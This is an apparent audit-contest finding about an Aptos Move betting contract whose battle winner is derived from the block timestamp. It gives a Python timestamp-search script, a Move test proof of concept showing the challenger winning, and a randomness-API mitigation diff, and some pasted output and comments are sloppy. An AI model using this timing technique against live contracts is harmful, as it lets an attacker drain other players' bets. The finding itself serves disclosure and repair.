One Shot: Reloaded

First Flight #47
Beginner FriendlyNFT
100 EXP
Submission Details
Impact: high
Likelihood: medium

Randomness, not random, could lead to systematic wins for the challenger

Author Revealed upon completion

Randomness, not random, could lead to systematic wins for the challenger

Description

The function rap_battle::go_on_stage_or_battle have the following lines activated when the challenger call the function.

let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };

The problem is that timestamp::now_second could be predicted so that the challenger will win every battle against every defender whatever their levels.

Risk

impact : Every defender will lose their bets, as the challenger will predict the right time to bet. (High)

likelyhood: Some challengers could write a bot(with some coding knowledge) that call the function at the right time. (Medium)

Proof of Concept

We need to know the max skill a rapper can have, we need to take a look at the function one_shot::skill_of

public(friend) fun skill_of(token_id: address): u64 acquires RapperStats {
let stats_res = borrow_global<RapperStats>(@battle_addr);
let s = table::borrow(&stats_res.stats, token_id);
let after1 = if (s.weak_knees) { 65 - 5 } else { 65 };
let after2 = if (s.heavy_arms) { after1 - 5 } else { after1 };
let after3 = if (s.spaghetti_sweater) { after2 - 5 } else { after2 };
let final_skill = if (s.calm_and_ready) { after3 + 10 } else { after3 };
final_skill
}

The different are as follow :

  • rapper lvl 0 : 50

  • rapper lvl 1 : 55

  • rapper lvl 2 : 60

  • rapper lvl 3 : 75


If i want to play, i need my player to be at least lvl 1(so 55), and i can know the total_skill for each rapper level :

  • rapper lvl 0 vs lvl 1 : 50 + 55 = 105

  • rapper lvl 1 vs lvl 1 : 55 + 55 = 110

  • rapper lvl 2 vs lvl 1 : 60 + 55 = 115

  • rapper lvl 3 vs lvl 1 : 75 + 55 = 130

I created a simple program for the test to know which timestamp to bet in python :

import random
def rnd():
random_int = random.randint(0, 999999)
while(random_int % 105 < 75 or random_int % 110 < 75 or random_int % 115 < 75 or random_int % 130 < 75) :
random_int = random.randint(0, 999999)
print(random_int)
print(rnd())
Welcome to OnlineIDE Pro!
Start coding in Python...
496416
None

Add the following function in one_shot :

#[test_only]
public fun last_created_rapper(): Option<address> {
let events= event::emitted_events<MintRapperEvent>();
if (vector::length(&events) == 0) {
return option::none()
};
let event = vector::pop_back(&mut events);
return option::some(event.token_id)
}

Add the following function in rap_battle for testing purpose:

public fun init_init_module(module_owner: &signer) {
init_module(module_owner);
}

Add the following function in cred_token for testing purpose:

#[test_only]
public fun init_init(sender: &signer) {
init_module(sender);
}

Create a file in test named rap_battle_tests.move and add the following lines :

module battle_addr::rap_battle_tests {
use std::signer;
use std::debug;
use std::timestamp;
use aptos_framework::account;
use battle_addr::one_shot::{Self as one_shot};
use battle_addr::rap_battle::{Self as rap_battle};
use battle_addr::cred_token::{Self as cred};
use battle_addr::streets::{Self as streets};
use aptos_framework::coin;
use aptos_framework::object::{Self as object};
use aptos_token_v2::token::{Self as token};
// init_module runs automatically on publish; no manual setup call.
#[test(framework = @0x1)]
public fun test_go_on_stage(framework: &signer) {
timestamp::set_time_has_started_for_testing(framework);
let module_owner = account::create_account_for_test(@battle_addr);
let minter = account::create_account_for_test(@minter_addr);
let user = account::create_account_for_test(@0x125);
rap_battle::init_init_module(&module_owner);
cred::init_init(&module_owner);
coin::create_coin_conversion_map(framework);
// mint minter rapper
one_shot::mint_rapper(&module_owner, signer::address_of(&minter));
let minter_id = *one_shot::last_created_rapper().borrow();
let minter_obj = object::address_to_object<token::Token>(minter_id);
assert!(object::is_owner(minter_obj, @minter_addr), 1);
// mint user rapper
one_shot::mint_rapper(&module_owner, signer::address_of(&user));
let user_id = *one_shot::last_created_rapper().borrow();
let user_obj = object::address_to_object<token::Token>(user_id);
// stake user's and minter's rapper
streets::stake(&minter, minter_obj);
streets::stake(&user, user_obj);
// unstake user's rapper after 1 days
timestamp::update_global_time_for_test(86400000000);
streets::unstake(&user, &module_owner, user_obj);
// unstake minter's rapper after 4 days
timestamp::update_global_time_for_test(345600000000);
streets::unstake(&minter, &module_owner, minter_obj);
let minter_cred_balance= coin::balance<cred::CRED>(@minter_addr);
let user_cred_balance= coin::balance<cred::CRED>(@0x125);
// User and Minter balances before battle
assert!(minter_cred_balance == 4, 1);
assert!(user_cred_balance == 1, 1);
debug::print(&minter_cred_balance);
debug::print(&user_cred_balance);
let balance = one_shot::balance_of(@minter_addr);
assert!(balance == 1, 1);
balance = one_shot::balance_of(@0x125);
assert!(balance == 1, 1);
// minter go on stage
rap_battle::go_on_stage_or_battle(&minter, minter_obj, 1);
// user enter in a specific calculated time with the use of script or a bot
timestamp::update_global_time_for_test(496416000000);
rap_battle::go_on_stage_or_battle(&user, user_obj, 1);
minter_cred_balance= coin::balance<cred::CRED>(@minter_addr);
user_cred_balance= coin::balance<cred::CRED>(@0x125);
// User and Minter balances after battle
assert!(minter_cred_balance == 3, 1);
assert!(user_cred_balance == 2, 1);
debug::print(&minter_cred_balance);
debug::print(&user_cred_balance);
}
}

Recommended Mitigation

Use the proper Aptos randomness API for better randomness :

Add the following struct to battle_addr::rap_battle :

struct RandomNumber has key {
number: u64,
}

Init the struct

fun init_module(sender: &signer) {
move_to(sender, BattleArena {
defender: @0x0,
defender_bet: 0,
defender_token_id: @0x0,
prize_pool: coin::zero<cred_token::CRED>(),
});
+ move_to(sender, RandomNumber{
+ number: 0,
+ });
}

Add the following function to set and get the random number:

#[randomness]
public(friend) entry fun set_random_number() acquires RandomNumber {
let random = borrow_global_mut<RandomNumber>(@battle_addr);
random.number = aptos_framework::randomness::u64_range(0, 999999);
}
fun get_random_number() : u64 acquires RandomNumber {
let random = borrow_global_mut<RandomNumber>(@battle_addr);
random.number
}

Add the following line to rap_battle::go_on_stage_or_battle

+ #[lint::allow_unsafe_randomness]
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena, RandomNumber {
...
if (arena.defender == @0x0) {
...
}else{
assert!(arena.defender_bet == bet_amount, E_BETS_DO_NOT_MATCH);
let defender_addr = arena.defender;
let chall_addr = player_addr;
let chall_token_id = object::object_address(&rapper_token);
one_shot::transfer_record_only(chall_token_id, chall_addr, @battle_addr);
object::transfer(player, rapper_token, @battle_addr);
let chall_coins = coin::withdraw<cred_token::CRED>(player, bet_amount);
coin::merge(&mut arena.prize_pool, chall_coins);
+ set_random_number();
let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
let total_skill = defender_skill + challenger_skill;
- let rnd = timestamp::now_seconds() % (if (total_skill == 0) { 1 } else { total_skill });
+ let rnd = get_random_number() % (if (total_skill == 0) { 1 } else { total_skill });
let winner = if (rnd < defender_skill) { defender_addr } else { chall_addr };
...
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.